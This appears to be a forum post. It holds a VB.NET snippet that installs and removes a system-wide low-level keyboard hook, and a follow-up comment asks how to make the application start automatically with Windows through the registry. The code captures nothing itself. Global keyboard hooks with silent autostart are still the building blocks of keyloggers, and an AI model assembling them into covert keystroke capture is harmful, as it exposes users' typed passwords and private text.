Private KeyboardHookProcedure As Win32.HookProc Public Sub InstallHooks() If hKeyboardHook = 0 Then ' install Keyboard hook KeyboardHookProcedure = New Win32.HookProc(AddressOf KeyboardHookProc) hKeyboardHook = Win32.SetWindowsHookEx( _ Win32.WH.WH_KEYBOARD_LL, _ KeyboardHookProcedure, _ Marshal.GetHINSTANCE(Reflection.Assembly.GetExecutingAssembly().GetModules()(0)), _ 0) If (hKeyboardHook = 0) Then 'SetWindowsHookEx failed RemoveHooks() Throw New Exception("SetWindowsHookEx failed.") End If End If End Sub Public Sub RemoveHooks() Dim keyboardResult As Boolean = True If hKeyboardHook <> 0 Then keyboardResult = Win32.UnhookWindowsHookEx(hKeyboardHook) hKeyboardHook = 0 End If If Not keyboardResult Then 'UnhookWindowsHookEx failed Throw New Exception("UnhookWindowsHookEx failed.") End If End Sub

[AbdulSalim]

hiiii how to add the application windows startup registry uatmaticaly when installing?